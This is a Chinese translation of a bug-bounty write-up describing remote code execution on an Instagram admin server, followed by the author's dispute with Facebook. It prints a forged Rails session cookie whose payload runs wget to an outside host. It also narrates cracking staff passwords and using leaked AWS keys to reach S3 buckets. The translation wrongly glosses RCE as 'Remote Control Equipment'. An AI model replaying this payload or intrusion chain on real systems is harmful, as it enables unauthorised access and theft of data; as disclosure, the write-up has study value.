Instagram的百万美元Bug

最新推荐文章于 2024-09-16 23:17:14 发布

lowtech

最新推荐文章于 2024-09-16 23:17:14 发布

阅读量371

点赞数

文章标签： Instagram 安全

本文链接：https://blog.csdn.net/u012396362/article/details/80121412

版权

原文链接：https://exfiltrated.com/research-Instagram-RCE.php
作者：Wesley Wineberg

2012年，Bloomberg在Facebook的“白帽黑客”漏洞赏金项目页面发过一篇著名的文章，文中说：“如果有人发现价值百万的漏洞，我们愿意予以相当金额的奖励。” 本文有标题党之嫌，所以先向各位道个歉。但是标题确实和本文的背景相关，我在Instagram发现了一个价值百万的漏洞——通过这个漏洞我可以拿到数据密钥，源代码和照片的权限等等。然而Facebook并没有兑现承诺。

在这个故事开始之前，我要先澄清几点：我在Infosec工作了七年，期间极力避免出什么纠纷。也参加过很多漏洞赏金的项目，合作都很愉快。之前我看过很多人将自己的纠纷放到网上，从某种方面讲，让公众来评判无可厚非，但是我更喜欢专注于技术，不怎么关心这些东西。我自己的Twitter帐号从没发过任何东西，所以我不觉得自己是没事找事的那类人（要在晚上挑事不能没了Twitter，对吧？）

本文分为两部分：第一部分是技术问题，将漏洞如何发现的；第二部分是我和Facebook之间的交涉。

缘起

事情的起因，是我一个不愿意透漏姓名的朋友的朋友提到，他在参加Facebook的漏洞赏金项目，测试Instagram。我自己在前几年也做过Facebook的漏洞测试，所以对这些有点兴趣。我的公司也允许我在空余时间做一些类似漏洞赏金的项目。朋友告诉我，他们可能有一个很脆弱的服务器：https://sensu.instagram.com，作为管理员的控制页面。他说Ruby的密码重置流程很脆弱，虽然提到细节，不过我觉得他指的是CVE-2013-3221。我决定从这方面挖一下。

Ruby (Rails) RCE的远程控制

一开始，我尝试利用Ruby/Rails的密码重置弱点，不过都失败了。在登录界面用“0”作为密码，页面不接受。密码重置邮件也没有很明显的规则。不过看起来像是某种Sensu的管理系统，所以我想试一下找到密码重置的格式。我在Google上看了一下有关”Sensu-Admin”的资料，了解了一下，但是没有太大帮助。密码重置没有什么明显的漏洞，我朋友说的这点好像行不通。

后来在GitHub找到的代码帮助很大。GitHub上的secret_token.rb文件有一个密码编码的token。虽然不太可能，但是如果，Instagram在他们的服务器上用了默认的这个token，那么我就能模仿一个会话的cookie。之前我介绍的博客中说过，cookie不仅可以被模拟，而且还能被Rails反编码，直接触发cookie带的命令语句执行。

攻击之路永远是曲折的。首先，我先在本地调试了一个Rails服务器进行测试，然后这个框架：

https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md

生成了一个文件，将其扔到Marshal.load里面去执行。正如我所料，文件中携带的命令被执行了。加下来我用相同的文件，加上Sensu-Admin默认的签名，和我的命令一起编译出来一个cookie，如下所示：

_sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86CEVSQgY6CUBzcmNJIkFldmFsKCdzeXN0ZW0oIndnZXQgaHR0cDovL2V4ZmlsdHJhdGVkLmNvbS90ZXN0LWluc3RhZ3JhbSIpJykGOgZFVDoMQG1ldGhvZDoLcmVzdWx0–92c614a28526d03a1a31576bf4bb4c6026ef5e1f

之后我把它传给服务器，神奇的事情发生了。这个cookie被正确地解码，签名也认证通过，我的命令被执行了！我写在cookie里的命令是“wget http://exfiltrated.com/test-instagram”，我的服务器的确收到了来自sensu.instagram.com的请求！这样我就有了一个RCE（Remote Control Equipment，远程控制设备）。然后我写了一个socket监听程序，作为一个远程的shell：

确认这个RCE可以做控制之后，我给Facebook提交了漏洞。包括以下两点：

“Sensu-Admin”使用了Rails默认的签名；
sensu.instagram.com运行的是3.x，如果恶意的cookie可以通过权限验证的话，可以让Rails的session执行命令。

服务器配置文件

发现了RCE之后，我只是能让命令执行，并不是一个普通的用户。既然这个网站是公开的，那么一个潜在的威胁就是：任何一个有账户的人都能登录系统。通常，Sensu-Admin程序会使用很多配置文件，但是Instagram只使用了一个本地的Postgres实例。有了RCE之后，我可以轻松的得到这个文件。我将这个文件下载下来之后，打开数据库，不出所料的发现，这里面都是一些员工账户。Instagram和Facebook的员工都有，一共有60个，密码都通过bcrypt加密了。我的机器一秒可以尝试250次，对于暴力破解来说，显然太慢了。抱着试一试的态度，我用了JtR。震惊的是，很快就有密码破解出来了。几分钟之后，我竟然得到了12个密码！这些密码都非常非常弱，难怪可以这么容易破解了。其中有：

六个密码是“changeme”
三个和用户名相同
两个是“password”
一个是“instagram”

这么大的公司，竟然将生产系统放在公网着实让人震惊。我用其中一个员工的帐号登录了系统，截图如下：

鉴于Facebook的漏洞赏金项目明确规定不要尝试使服务器停机，我没有做更深入的测试，而是将这个Bug提交给了Facebook。

天堂的钥匙

我还发现，Sensu-Admin服务器运行在EC2上面，而不是内部的DNS服务器。从/etc/hosts中可以看出，这里一共有超过1400个系统。所以理论上讲，可以做的还有很多。但是就我以前参加过的漏洞赏金项目来看，中转进入别的系统几乎是不可能的，但是如果有机会的话，举办方都鼓励我这么做。

到目前为止，我对自己发现的两个漏洞比较满意。一个月之前，我在微软的live.com发现过一个漏洞，Facebook这个甚至比微软更严重。我看了一下服务器的配置文件：/etc/sensu/config.json，发现这里面不仅有服务器的权限，还有其他一些权限，包括一些电子邮件账户和密钥。其中，有一些用来开启“autoscale”进程的亚马逊AWS S3的密钥对。

AWS密钥可以提供对不同AWS服务的保护。密钥对显示，一共有82个不同的AWS buckets（存储桶），但是都受到保护，我无法进入。其中有一个例外，就是第一个bucket——“autoscale-kitchen”bucket。我将其下载了下来。

autoscale-kitchen bucket看起来像是一个开发部署用的bucket，其中有一个autoscale-kitchen-latest.tar.gz，然后是之前版本的分支，一些安装服务的脚本等等。看起来好像少了社么，然后我检出旧版本的autoscale-kitchen文件，这里面竟然有配置文件。配置文件中除了很多设置，还有一个AWS密钥对。

我用这个S3的密钥对配置了我的客户端，发现这就可以进入任何一个S3 bucket了！这82个bucket中任何一个的内容！

得到的数据

我浏览了几个bucket，发现有不少敏感信息。我建了一个下载任务之后，就去睡觉了。

第二天，我想看看都下载了写什么。其中很多bucket保存的都是Instagram的照片，处理之前和之后的都有。鉴于Facebook白帽黑客的项目说明，“不要侵犯别人隐私”，我就不从这些bucket中再下东西了。

下面是用密钥对得到的另一些数据，分散在了不同的bucket中：

Instagram.com的静态页面
Instagram服务器的源代码，API端代码，图片处理库
Instagram.com和*.Instagram.com的SSL验证私钥
cookies验证的私钥
Instagram API 的OAuth授权密钥
邮箱认证服务器的配置
IOS和Android签名
IOS推送通知密钥
Twitter、Facebook、Flicker、Tumblr、Foursquare的API

可以说，我几乎得到了Instagram的所有数据，通过这些数据我可以轻松地模仿出一个Instagram系统来，或者冒充其中任何一个客户或者员工登录系统。

黑掉Instagram的整个流程，可以用下面这张图表示：

从中我们可以看出，用RCE控制服务器可能有点复杂，但是之后控制Instagram的S3 bucket就非常简单了。这让我感到非常震惊，作为Facebook这样的大公司，防御要求应该是很高的。我们Infosec每个人在学校的时候就知道defense-in-depth（多层防御）了。

纠纷

我报告了这些系统，然而Facebook却不和之前承诺的那样给予鼓励，反而说我的漏洞不符合他们的赏金项目。我和Facebook之间进行了很多通信，对他们的态度感到很不满。Yahoo，Google，Microsoft和Tumblr举办赏金项目的时候，都是鼓励参与者发现越高危的漏洞，奖励越多。Facebook的态度确是不重视与威胁，他们的CSO竟然还在没有任何通知的情况下直接联系我的上司。他们对我的上司声称，我要保证停止攻击，不发布攻击方法，删除下载的所有数据，否则可能动用Facebook的法务团队。这个之前他们说的“研究漏洞的人不会有法律方面的麻烦”背道而驰。